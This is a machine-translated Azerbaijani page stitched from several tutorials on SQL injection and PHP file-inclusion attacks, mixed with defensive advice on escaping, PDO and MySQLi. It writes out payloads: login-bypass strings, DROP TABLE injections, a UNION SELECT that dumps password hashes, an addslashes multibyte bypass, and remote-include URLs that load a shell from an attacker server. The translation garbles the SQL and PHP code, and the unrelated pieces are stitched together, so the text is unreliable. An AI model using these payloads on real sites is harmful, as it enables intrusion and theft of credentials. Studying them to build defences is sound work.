SQL enjeksiyonları. d get əlavə edərək PHP Php inyeksiya vəziyyəti ilə SQL inyeksiyasına qarşı mübarizə




Təcavüzkarın uğurlu hücumu həyata keçirmək üçün verilənlər bazası strukturu haqqında ən azı müəyyən qədər biliyə malik olması hələ də aydın olsa da, bu məlumatı əldə etmək çox vaxt çox asandır. Məsələn, əgər verilənlər bazası açıq mənbəli və ya defolt quraşdırma ilə digər ictimaiyyətə açıq proqram paketinin bir hissəsidirsə, bu məlumat tamamilə açıqdır və əlçatandır. Bu məlumatlar, hətta kodlanmış, mürəkkəb və ya tərtib edilmiş olsa belə, qapalı bir layihədən və hətta səhv mesajlarının göstərilməsi vasitəsilə öz kodunuzdan əldə edilə bilər. Digər üsullara ümumi (təxmin etmək asan) cədvəl və sütun adlarından istifadə daxildir. Məsələn, "id", "istifadəçi adı" və "parol" sütun adları ilə "istifadəçilər" cədvəlindən istifadə edən giriş forması.

Ən uğurlu hücumlar düzgün təhlükəsizlik nəzərə alınmaqla yazılmayan koda əsaslanır. Heç bir daxiletməyə etibar etməyin, xüsusən də o, müştəri tərəfindədirsə, hətta bu formada siyahılar, gizli sahələr və ya kukilər olsa belə. Verilən ilk nümunə bu cür istəklərin necə fəlakətə səbəb ola biləcəyini göstərir.

  • Heç vaxt verilənlər bazası sahibi və ya super istifadəçi hesabından istifadə edərək verilənlər bazasına qoşulmayın. Həmişə ən məhdud hüquqlara malik xüsusi yaradılmış istifadəçilərdən istifadə etməyə çalışın.
  • bağlı dəyişənlərlə hazırlanmış ifadələrdən istifadə edin. Bu imkan PDO genişləndirmələri, MySQLi və digər kitabxanalar tərəfindən təmin edilir.
  • Daxil edilmiş məlumatları həmişə gözlənilən tiplə yoxlayın. PHP verilənlərin yoxlanılması üçün dəyişənlərin manipulyasiyası üçün ən sadə funksiyalardan simvolların növünün təyin edilməsi funksiyalarına qədər müxtəlif funksiyalara malikdir (məsələn, is_numeric()ctype_digit() müvafiq olaraq) və Perl uyğun müntəzəm ifadələrlə bitən.
  • Tətbiq rəqəmsal girişi gözləyirsə, funksiyanı tətbiq edin ctype_digit() daxil edilmiş məlumatları təsdiqləmək və ya onun növünü məcbur etmək settype(), və ya sadəcə funksiya ilə rəqəmsal təmsildən istifadə edin sprintf().

    Beispiel #5 Daha təhlükəsiz səhifələşdirmə tətbiqi

    settype($offset , "tam" );
    $query = "SEÇ id, ad MƏHSULLARDAN SİFARİŞ BY Ada LİMİT 20 OFFSET$ofset ;" ;

    // %d formatına diqqət yetirin, %s istifadə etmək mənasız olardı
    $query = sprintf( "SEÇ id, ad FROM məhsullardan SİFARİŞ BY ad LIMIT 20 OFFSET %d;",
    $ofset);

    ?>

  • Əgər əlaqəli dəyişənlər verilənlər bazası səviyyəsində dəstəklənmirsə, istifadə etdiyiniz verilənlər bazasına xas olan xüsusi qaçış funksiyalarından istifadə edərək verilənlər bazası sorğularında istifadə olunan hər hansı qeyri-rəqəmsal məlumatdan həmişə qaçın (məsələn, mysql_real_escape_string(), sqlite_escape_string() və s.). kimi ümumi funksiyalar əlavə tire() yalnız müəyyən hallarda faydalıdır (məsələn, NO_BACKSLASH_ESCAPES deaktiv edilmiş bir baytlıq kodlaşdırmada MySQL), ona görə də onlardan istifadə etməmək daha yaxşıdır.
  • Heç bir halda verilənlər bazası, xüsusən də onun strukturu haqqında heç bir məlumat göstərməyin. Həmçinin sənədlərin müvafiq bölmələrini oxuyun: "Səhv mesajları" və "Xətaların idarə edilməsi və qeyd funksiyaları".
  • İstifadəçilərə məlumatlara və baxışlara birbaşa giriş imkanı vermədən məlumatları mücərrəd etmək üçün saxlanılan prosedurlardan və əvvəlcədən təyin edilmiş kursorlardan istifadə edə bilərsiniz, lakin bu həllin öz çətinlikləri var.

Yuxarıda göstərilənlərin hamısına əlavə olaraq, skriptinizdə və ya onu dəstəkləyirsə, verilənlər bazası səviyyəsində sorğuları daxil edə bilərsiniz. Aydındır ki, giriş zərərin qarşısını ala bilməz, lakin bu, təhlükəyə məruz qalmış tətbiqi izləməyə kömək edə bilər. Günlük faylı özlüyündə faydalı deyil, onun ehtiva etdiyi məlumatdır. Üstəlik, əksər hallarda bütün mümkün detalları qeyd etmək faydalıdır.

yeni oyunçu 27 yanvar 2011-ci il, saat 11:37

PHP ilə SQL Injection ilə məşğul olmaq

  • Taxta otaq *

SQL inyeksiyası ən təhlükəli hücum növüdür, çünki o, korporativ veb-saytlar və portallar və sadəcə şəxsi ana səhifələrdən sağ qalmış saysız-hesabsız sındırma hallarının arxasındadır. Layihənizi qorumaq əslində olduqca asandır - bunu etmək üçün əvvəlcə bu problemin mahiyyətinin nə olduğunu başa düşməli və onu qorumaq üçün kodda bəzi dəyişikliklər etməlisiniz.

SQL Injection nədir

SQL inyeksiyası məlumatınız olmadan öz verilənlər bazası sorğunuzu yerinə yetirmək üçün etməli olduğunuz hərəkətlərə aiddir. Çox vaxt bu, istifadəçiyə bəzi məlumatları serverə göndərməyi təklif etdiyiniz zaman baş verir, lakin istədiyiniz məlumatın əvəzinə təcavüzkar öz sorğusunu göndərir, bu da təsadüfən server tərəfindən yerinə yetirilir. Belə bir sorğudan istifadə edərək təcavüzkar verilənlər bazasından nəinki qadağan olunmuş məlumatları əldə edə, həm də müəyyən şərtlər daxilində ona dəyişikliklər edə, eləcə də sistem əmrlərini yerinə yetirə bilər.

SQL injection nümunələri

Təcavüzkar öz sorğusunu yalnız məlumat daxiletmə sahəsinə daxil etməklə ($_POST istifadə etməklə) göndərə bilməz, o, həmçinin ünvan çubuğunda öz $_GET dəyişənlərini əvəz edə və ya $_COOKIE-ni əl ilə dəyişə bilər. Buna görə də, bu qlobal məlumat dəstləri ilə işləyərkən diqqətli olmaq lazımdır.

Əgər səhifədə müəyyən məlumatları daxil etmək üçün bir forma varsa, təcavüzkar onun sahələrindən öz məqsədləri üçün istifadə edə bilər. Gözlənilən sətirlərin (ad, parol və s.) əvəzinə o, belə bir sahəyə öz sorğusunu daxil edəcəkdir.

Bu SQL inyeksiyalarının əksəriyyəti belə görünür:

Asd" və ya 1=1--

Tutaq ki, bizdə istifadəçi giriş forması var. Giriş sahəsinə belə bir kodu daxil etsək, lazımi yoxlamalar olmadan da daxil olmaq üçün SQL inyeksiyamızdan istifadə edə bilərik. Bu necə işləyir? Hərəkətlərimiz nəticəsində hansı sorğu alacağımızı düşünün:

İstifadəçi adı = "asd" və ya 1=1--" və parol = "asd" olan istifadəçilərdən * SEÇİN

Beləliklə, nümunədən göründüyü kimi kodumuz uğurla icra ediləcək. Və 1=1 ifadəsi həmişə doğru qayıdacağından, giriş əldə etməyimizə zəmanət verilir.

Bizə nə üçün qoşa defis (--) lazım olduğunu maraqlandıra bilərsiniz. Sətirin sonundakı bu ikiqat tire SQL serverinə qalan sorğulara məhəl qoymamağı bildirir. SQL Server üçün deyil, inyeksiya yazmaq istəyirsinizsə, bu halda qoşa defisi tək apostrofla əvəz etməli olacaqsınız.

Nəzərə alın ki, yuxarıda göstərilən nümunə yalnız ən standart variantdır, lakin yeganə variantdan uzaqdır. Onların sayı sadəcə heyrətamizdir və hər şey təcavüzkarın başının necə işləməsindən asılıdır.

Daha çox yayılmış inyeksiya nümunələri:

") və ya ("1"="1
"və ya "1"="1
" və ya "1"="1
Və ya 1=1--
" və ya 1=1--
" və ya 1=1--

Təcavüzkarların hücumları üçün ünvan çubuğundan (URL) istifadə etməsi də olduqca yaygındır. Bu üsul, əvvəlki kimi, daha az təhlükəli deyil. Server PHP və MySQL-dən istifadə etdikdə (bu günə qədər ən populyar birləşmə), skriptin URL-i adətən belə görünür:

http://somesite.com/login_script.php?id=1

Belə bir xəttə bir az SQL əlavə etməklə, dəhşətli işlər görə bilərsiniz:

http://somesite.com/login_script.php?id=1'; DROP TABLE girişi; #

Bu vəziyyətdə işarədən istifadə olunur # qoşa tire yerinə, çünki o, SQL Serverə bizdən sonra gələn bütün sonrakı sorğulara məhəl qoymamağı deyir. Ən təhlükəlisi isə (əgər hələ də fərq etməmisinizsə) biz sadəcə serverə dedik ki, istifadəçilərlə işarəni silsin. Bu nümunə SQL inyeksiyalarının nə qədər təhlükəli ola biləcəyini yaxşı nümayiş etdirir.

Skriptlərinizi SQL inyeksiyasından qorumaq üçün nə etməlisiniz

Biz artıq bilirik ki, SQL injection boşluqları istifadəçilərdən məlumat lazımi emal edilmədən verilənlər bazası sorğusuna daxil olduqda baş verir. Beləliklə, növbəti addım təhlükəsiz skriptlər yazmaqdır.

Xoşbəxtlikdən, bu təhlükə çoxdan məlumdur. PHP hətta bu tip hücumlara qarşı mübarizə aparan xüsusi funksiyaya malikdir (4.3.0 versiyasından bəri) - mysql_real_escape_string.

mysql_real_escape_string bütün potensial təhlükəli simvollardan qaçaraq verilənlər bazası sorğularında istifadə üçün sətri təhlükəsiz edir. Tipik olaraq, belə ardıcıl simvol tək apostrofdur ("), bu funksiyadan istifadə etdikdən sonra qaçırılacaq (\").

SQL inyeksiyasından qorunmaq üçün bütün xarici parametrlər ($_GET, $_POST, $_COOKIE) istifadə edərək işlənməlidir. mysql_real_escape_string(), və sorğunun özündə onları tək apostrofa qoyun. Bu sadə qaydaya əməl etsəniz, təcavüzkarın hərəkətləri təhlükəsiz sorğuların formalaşmasına səbəb olacaq, çünki onun SQL inyeksiyasının bütün mətni indi apostrofların içərisindədir.

Gəlin serverin bu emal ilə əslində nə etdiyinə baxaq:

SQL inyeksiyası (təcavüzkarın giriş əvəzinə "Giriş" sahəsinə daxil etdiyi sətir):

Sql" və ya 1=1--

$name = mysql_real_escape_string($_POST["istifadəçi adı"]);
$res = mysql_query("İstifadəçi adı = "".$name."" və parol = "asd"" HARADA Istifadəçilərdən * SEÇİN);

İstifadəçi adı = "sql\" və ya 1=1--" və parol = "asd" olan istifadəçilərdən * SEÇİN

Yəni, belə bir sorğu ilə təhlükəli hərəkətlər əvəzinə kifayət qədər qəribə istifadəçi adı olan istifadəçinin məlumatlarını seçməyə çalışırıq. (sql\"və ya 1=1-).

Siz daha da irəli gedə və $_GET, $_POST və $_COOKIE massivlərini avtomatik emal edəcək funksionallıq yaza bilərsiniz, lakin hər şey sizin istəklərinizdən asılıdır. Xatırlamaq lazım olan yeganə şey, istifadəçi məlumatlarının verilənlər bazasına köçürüldüyü bütün yerləri qorumaq lazımdır.

Başlayanlar üçün PHP injection əsasları.​


PHP inyeksiyası(İngilis PHP injection) - haqqında PHP-də işləyən veb saytları sındırmaq üsullarından biri server tərəfində kənar kodu icra etməkdir. Potensial təhlükəli funksiyalar bunlardır:
qiymətləndirmək(),
preg_replace() ("e" dəyişdiricisi ilə),
tələb_bir dəfə(),
bir dəfə daxil edin(),
daxildir(),
tələb(),
yaratmaq_funksiya ().

PHP inyeksiyası əgər daxil edilən parametrlər təsdiqlənmədən qəbul edilərsə və istifadə olunarsa, mümkün olur.

Aşkar etmək üçün klikləyin...

(c) Wiki


Əsaslar.​

php-injection- bu, təcavüzkarın hücuma məruz qalan php tətbiqinə öz php kodunu yeritdiyi zaman sayta hücumun bir formasıdır.
Uğurlu inyeksiya ilə təcavüzkar hədəf serverdə ixtiyari (potensial təhlükəli) PHP kodunu icra edə bilər. Məsələn, bir qabığı doldurun. Ancaq əvvəlcə bunun necə baş verdiyini ətraflı çeynəyək.

Misal üçün:
Təsəvvür edək ki, bizim PHP-də yazılmış veb-saytımız var.
Saytın əmrdən istifadə etdiyini də təsəvvür edək page=page.html tələb olunan səhifəni göstərmək üçün.
Kod belə görünəcək:

$fayl = $_GET["səhifə"]; // Göstərilən səhifə
daxil edin($fayl);
?>

Bu o deməkdir ki, səhifədə göstərilən hər şey bu səhifənin php koduna daxil ediləcək. Beləliklə, təcavüzkar aşağıdakı kimi bir şey edə bilər:

http : //www.attacked_site.com/index.php?page=http://www.attacking_server.com/malicious_script.txt?

Daxiletmə icra edildikdən sonra nə baş verdiyinə baxsaq, hədəf serverdə icra edilən aşağıdakı kod bizə təqdim olunacaq:

$fayl= "http://www.attacker_server.com/malicious_script.txt?"; //$_GET["səhifə"];
daxil edin($fayl); //$fayl təcavüzkarın yeritdiyi skriptdir
?>

Təcavüzkarın hədəf serverə uğurlu hücum etdiyini görürük.

Daha çox:
Bəs, niyə təcavüzkar PHP inyeksiyasını həyata keçirə bildi?
Hamısı funksiyaya görə daxil edin() uzaq faylları işə salmağa imkan verir.

Niyə skript genişləndirmə ilə nümunədə göstərildi *.mətn , amma yox *.php ?
Ssenari formatı olsaydı, cavab sadədir *.php , o, hədəf sistemdə deyil, təcavüzkarın serverində işləyəcək.

Simvol " ? " funksiyası daxilində hər şeyi silmək üçün yeridilmiş skriptin yolunda daxil edin() hədəf serverdə.
Misal:

$fayl = $_GET["səhifə"];
daxildir($fayl . ".php" );
?>

Bu skript bir uzantı əlavə edir *.php əmrlə çağırılan bir şeyə daxil edin() .
Bunlar.

http : //www.attacker_server.com/malicious_script.txt

çevrilir

http : //www.attacker_server.com/malicious_script.txt.php

Skript bu adla işləməyəcək (təcavüzkarın serverində heç bir fayl yoxdur). /malicious_script.txt.php)
Buna görə də "?" zərərli skriptə gedən yolun sonuna:

http : //www.attacker_server.com/malicious_script.txt?.php

Ancaq icra edilə bilən olaraq qalır.

include() funksiyasının zəifliyi vasitəsilə PHP inyeksiyalarının həyata keçirilməsi.​

RFI - Remote Injection PHP Injection.​


RFI ehtimalı mühərriklərdə olduqca yaygın bir səhvdir.
Bunu belə tapa bilərsiniz:
Deyək ki, biz təsadüfən brauzerin ünvan çubuğunda belə bitən bir səhifəyə rast gəldik:

/index. php? səhifə = əsas

Əvəzində əvəz edirik əsas məsələn, hər hansı bir aldatma mənası upyaçka

/index. php? səhifə = upyachka

Cavab olaraq bir səhv alırıq:

Xəbərdarlıq : əsas (upyachka . php ): axını açmaq alınmadı : / home / user / www //page.php 3-cü sətirdə belə fayl və ya kataloq yoxdur

Xəbərdarlıq : əsas (upyachka . php ): axın aça bilmədi : / home / user / www / səhifədə belə fayl və ya kataloq yoxdur . php xətti 3

Xəbərdarlıq : main(): Daxil etmək üçün "upyachka.php" açılmadı (include_path = ".:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear") / ev / istifadəçi / www / səhifədə. php xətti 3

Bu, bizə daxil olmanın mümkün olduğunu göstərir.
Əvəzində əvəz etməyə çalışırıq upyaçka qabığa gedən sayt (qabıq faylının uzantısı göstərilməməli və ya yuxarıda göstərildiyi kimi göstərilməməlidir)

http : //www.attacked_server.com/index.php?file=http://www.attacked_site.com/shell

Beləliklə, bir qabıq əldə edilir. İndi siz sayt admininə zəiflik barədə məlumat verməlisiniz ki, o, onu düzəldə bilsin və pis adamlar səhvdən istifadə etməsinlər.

LFI - PHP inyeksiyası üçün yerli daxildir.​


Təsəvvür edək ki, eyni həssas saytla rastlaşdıq

/index. php? fayl = əsas

Kod ilə

..
Daxil et("qovluq/ $səhifə .htm");

?>

Bu, artıq yerli inklüzivdir. Bu vəziyyətdə yalnız fayl siyahısı mümkündür:

/index. php? səhifə =../ indeks . php

Aşağıdakı halda kod belə görünür:

..
daxildir("$dir1/qovluq/səhifə.php");

?>

Bu halda qabığa gedən yolu aşağıdakı kimi yaza bilərsiniz:
Qovluq yaradın qovluq qabığın saxlandığı saytda, qabığı bu qovluğa atın:

http : //www.attacker_site.com/folder/shell.php

Bu vəziyyətdə enjeksiyon belə görünəcək:

indeks. php? dir1=http: //www.attacker_site.com/

Mühafizə üsulları


Skripti nəzərdən keçirin:

...

$modul daxildir. ".php" ;
...
?>

Bu skript həssasdır, çünki dəyişənin məzmunu $modul yeni əlavə etdi *.php və fayl qəbul edilən yolda işə salınır.

Belə bir hücumdan qorunmağın bir neçə yolu var:


-$module dəyişəninin kənar simvolların olub olmadığını yoxlayın:

...
$modul = $_GET [ "modul" ];
if (strpbrk ($modul , ".?/:" )) die("Bloklanmış" );
$modul daxildir. ".php" ;
...
?>

-$modulun icazə verilən dəyərlərdən birinə təyin edilib-edilmədiyini yoxlayın:
"/" , "" , $səhifə ); // Digər qovluqlara keçid imkanı bloklanır.
əgər (fayl_mövcuddur("fayllar/ $page.htm "))
{
Daxil et("files/$page.htm" );
}
Başqa
{
əks-səda
"səhv";
}

?>

PHP həmçinin php.ini konfiqurasiya faylında allow_url_fopen seçimini Off-a dəyişdirərək uzaqdan faylların istifadəsini söndürmək seçimini təmin edir.

Təsvir edilən zəiflik sayt üçün yüksək təhlükə yaradır və PHP skriptlərinin müəllifləri bunu unutmamalıdırlar.

Yazarkən materiallardan istifadə edilmişdir
vikipediya,
xarici forum təhlükəsizlik-sh3ll (spl0it),
Antichat forumundan (GreenBear).
-a xüsusi təşəkkürlər Burtf02 kömək üçün,
dəstək və yaxşı tənqid).

Onun keçidində sizə uğurlar arzulayırıq. Keçidinizin nəticələri daha sonra dərc olunacaq (xəbərləri sosial şəbəkələrdə izləyin) və gələcəkdə keçənlərin hamısı göndəriləcək dəvət et saytda qeydiyyatdan keçmək.

Bəyənin, dostlarınız və həmkarlarınızla paylaşın, sosial şəbəkələrdə repost edin.

Bütün proqramçılar veb saytın təhlükəsizliyini pozmaq üsullarını oxumuş və ya heç olmasa eşitmişlər. Və ya hətta bu problemlə üzləşdi. Digər tərəfdən, saytı pozmaq istəyənlərin fantaziyası sonsuzdur, buna görə də bütün darboğazlar yaxşı qorunmalıdır. Buna görə də veb saytın sındırılmasının əsas üsullarını və fəndlərini təqdim edəcək bir sıra qısa məqalələrə başlamaq istərdim.

Birinci məqalədə saytın ən həssas hissələrindən birini - formaları sındırmağın bəzi ümumi üsullarını təsvir etmək və izah etmək istərdim. Mən bu üsullardan necə istifadə etmək və hücumların qarşısını almaq yollarını ətraflı izah edəcəyəm, həmçinin təhlükəsizlik testindən danışacağam.

SQL inyeksiyası

SQL injection, təcavüzkarın veb səhifədəki giriş sahəsinə SQL əmrlərini yeritdiyi bir texnikadır. Bu imput hər hansı bir şey ola bilər - formada mətn sahəsi, _GET və _POST parametrləri, kukilər və s. Bu üsul PHP dünyasında çərçivələrin yaranmasından əvvəl çox təsirli idi. Lakin ORM və ya hər hansı digər məlumat obyekti uzantılarından istifadə etmirsinizsə, bu hack hələ də təhlükəli ola bilər. Niyə? Parametrlərin SQL sorğusuna ötürülmə üsuluna görə.

"Kor" inyeksiyalar

İstifadəçini istifadəçi adı və şifrə hash (giriş səhifəsi) ilə qaytaran SQL ifadəsinin klassik nümunəsi ilə başlayaq.

Misal 1

mysql_query("ID SEÇİN, İSTİFADƏÇİLƏRDƏN daxil olun HARADAN giriş =? və parol = hash(?)");

Bu həllin müxtəlif variantlarına görə ifadəyə sual işarələri qoymuşam. Birinci seçim, mənim fikrimcə, ən həssasdır:

Misal 1a

Mysql_query("İD SEÇİN, İSTİFADƏÇİLƏRDƏN daxil olun HARƏDƏ login = "" . $giriş . "" və parol = hash("" . $parol . "")");

Bu halda, kod etibarsız girişi yoxlamır. Dəyərlər birbaşa giriş formasından SQL sorğusuna ötürülür. Ən yaxşı halda istifadəçi öz istifadəçi adı və şifrəsini bura daxil edəcək. Ən pis halda nə olacaq? Gəlin bu formanı sındırmağa çalışaq. Bu, "hazırlanmış" məlumatları ötürməklə edilə bilər. Gəlin verilənlər bazasından ilk istifadəçi kimi daxil olmağa çalışaq və əksər hallarda bu admin hesabıdır. Bunu etmək üçün giriş daxil etmək əvəzinə xüsusi bir sətir keçirəcəyik:

"OR1=1; --

İlk sitat tək ola bilər, ona görə də bir hack cəhdi kifayət etməyə bilər. Sonda nöqtəli vergül və iki defis var ki, ondan sonrakı hər şey şərhə çevrilsin. Nəticədə, aşağıdakı SQL sorğusu yerinə yetiriləcək:

İD SEÇİN, İSTİFADƏÇİLƏRDƏN daxil olun giriş = “;” OR 1=1 LIMIT 0.1; - və parol = hash(";Bəzi parol")

O, verilənlər bazasından ilk istifadəçini qaytaracaq və ehtimal ki, proqrama həmin istifadəçi kimi daxil olacaq. Hər bir fərdi istifadəçi kimi daxil olmaq üçün LIMIT əlavə etmək yaxşı bir addım olardı. Bu, hər bir dəyər üzərində təkrarlamaq üçün lazım olan yeganə şeydir.

Daha ciddi yollar

Əvvəlki nümunədə hər şey o qədər də qorxulu deyil. İdarəetmə panelindəki funksiyalar həmişə məhduddur və saytı sındırmaq çox iş tələb edir. Lakin SQL injection vasitəsilə edilən hücum sistemə daha çox ziyan vura bilər. Əsas "istifadəçilər" cədvəli ilə nə qədər proqram yaradıldığını və təcavüzkar bu kodu etibarsız formada daxil edərsə nə olacağını düşünün:

Mənim sevimli girişim"; DROP TABLE istifadəçiləri; --

"İstifadəçilər" cədvəli silinəcək. Bu, verilənlər bazası ehtiyat nüsxələrini daha tez-tez etmək üçün səbəblərdən biridir.

_GET parametrləri

Forma vasitəsilə doldurulmuş bütün parametrlər iki üsuldan biri ilə serverə göndərilir - GET və ya POST. GET vasitəsilə ötürülən ən ümumi parametr id-dir. Hansı növ url-dən istifadə etməyinizdən asılı olmayaraq, bura hücumlar üçün ən həssas yerlərdən biridir - ` http://example.com/ istifadəçilər/?id=1` və ya ` http://example.com/ istifadəçilər/1` və ya ` http://......./.../ post/35 `.

URL-də aşağıdakı kodu əvəz etsək nə olar?

http://example.com/users/?id=1 VƏ 1=0 BİRLİK SEÇİMİ 1,concat(login,parol), 3,4,5,6 İSTİFADƏÇİLƏRDƏN HERƏ id =1; --

Yəqin ki, belə bir sorğu istifadəçinin girişini və ... parolunun hashini qaytaracaq. `AND 1=0` sorğusunun birinci hissəsi özündən əvvəl gələni yalana çevirir, ona görə də heç bir qeyd alınmayacaq. Və sorğunun ikinci hissəsi məlumatları hazırlanmış məlumatlar şəklində qaytaracaq. Və ilk parametr id olduğundan, növbəti istifadəçinin girişi və parolunun hashı və daha bir neçə parametr olacaq. Nümunədə olduğu kimi, belə bir parolun şifrəsini açmaq üçün kobud gücdən istifadə edən bir çox proqram var. İstifadəçi eyni parolu müxtəlif xidmətlər üçün istifadə edə bildiyi üçün onlara da daxil olmaq olar.

Maraqlı olan budur: `mysql_real_escape_string`, `addslashes` və s. kimi üsullarla belə bir hücumdan müdafiə etmək qətiyyən mümkün deyil. e) Prinsipcə, belə bir hücumdan qaçmaq üçün heç bir yol yoxdur, ona görə də parametrlər belə keçərsə:

"ID, giriş, e-poçt, parametr1 SEÇİN İSTİFADƏÇİLƏRDƏN HERƏ id = " . əlavə tire($_GET["id"]);"

problemlər aradan qalxmayacaq.

Sətirdəki simvollardan qaçmaq

Proqramlaşdırmaya yeni başlayanda kodlaşdırma ilə işləməkdə çətinlik çəkirdim. Mən başa düşmədim ki, aralarındakı fərq nədir, UTF-16 lazım olanda niyə UTF-8-dən istifadə olunur, niyə verilənlər bazası kodlaşdırmanı həmişə latın1-ə təyin edir. Nəhayət bütün bunları anlamağa başlayanda hər şeyi bir kodlaşdırma standartında saxlasam, daha az problem olacağını gördüm. Bütün bunları sıralayarkən, bir kodlaşdırmadan digərinə çevirərkən yaranan təhlükəsizlik problemlərini də qeyd etdim.

Əvvəlki nümunələrin əksəriyyətində təsvir olunan problemlərin qarşısını sorğularda tək dırnaq işarələrindən istifadə etmək olar. Əgər addslashes() istifadə etsəniz, əks tirajdan qaçan tək dırnaqlara əsaslanan SQL inyeksiya hücumları uğursuz olacaq. Ancaq simvolu sadəcə 0xbf27 kodu ilə əvəz etsəniz, belə bir hücum işləyə bilər, addslashes() onu 0xbf5c27 kodu ilə simvola çevirəcək - və bu, mükəmməl etibarlı tək sitat simvoludur. Başqa sözlə, `뼧` addslashes() vasitəsilə ötürüləcək və sonra MySQL xəritələşdirilməsi onu iki simvola çevirəcək 0xbf (¿) və 0x27 (').

"İstifadəçilərdən * SEÇİN * HARADAN daxil olun = ""; .addslashes($_GET["login"]) . ";"";

Bu nümunə 뼧 və ya 1=1 keçməklə sındırıla bilər; -- formada giriş sahəsində. SQL mühərriki son sorğunu belə yaradacaq:

SEÇİN * İSTİFADƏÇİLƏRDƏN GİRİŞ = "¿" VEYA 1=1; --

Və verilənlər bazasından ilk istifadəçini qaytaracaq.

Qoruma

Tətbiqi necə qorumaq olar? İstifadəsi tətbiqi tamamilə toxunulmaz etməyəcək, lakin heç olmasa təhlükəsizliyini artıracaq bir çox yol var.

mysql_real_escape_string istifadə

addslashes() funksiyası etibarsızdır, çünki o, bir çox hackləri əhatə etmir. mysql_real_escape_string-də belə problem yoxdur

MySQLi istifadə

Bu MySQL uzantısı əlaqəli parametrlərlə işləyə bilər:

$stmt = $db->prepare("yeniləmə uets set parametri = ? harada id =?"); $stmt->bind_param("si", $name, $id); $stmt->execute();

PDO-dan istifadə

Uzun yol parametrlərinin dəyişdirilməsi:

$dbh = yeni PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $parol); $stmt = $dbh->prepare("QEYDİYYƏTƏ DAXİL EDİN (ad, dəyər) DƏYƏRLƏRİ (:ad, :dəyər)"); $stmt->bindParam(":name", $name); $stmt->bindParam(":value", $value); // bir sıra daxil edin $name = "bir"; $dəyər = 1; $stmt->execute();

Qısa yol:

$dbh = yeni PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $parol); $stmt = $dbh->prepare("İnsanlar SET adını YENİLƏNİN = :yeni_ad HARADA id = :id"); $stmt->execute(array("yeni_ad" => $ad, "id" => $id));

ORM-dən istifadə

ORM və PDO-dan istifadə edin və bağlama parametrlərindən istifadə edin. Kodda SQL-dən çəkinin, əgər kodda SQL görürsünüzsə, onda bir şey səhvdir.

ORM koddakı darboğazların təhlükəsizliyi və parametrlərin yoxlanılması ilə məşğul olacaq.

nəticələr

Bu seriyanın məqsədi saytların sındırılması üçün tam bələdçi vermək deyil, tətbiqin təhlükəsizliyini təmin etmək və hər hansı mənbədən hücumların qarşısını almaqdır. Bu yazını təkcə proqramçılar üçün deyil - onlar koddakı hər hansı təhlükədən xəbərdar olmalı və onların qarşısını necə almağı bilməlidirlər, həm də keyfiyyət mühəndisləri üçün - çünki onların işi belə anları izləmək və bildirməkdir. .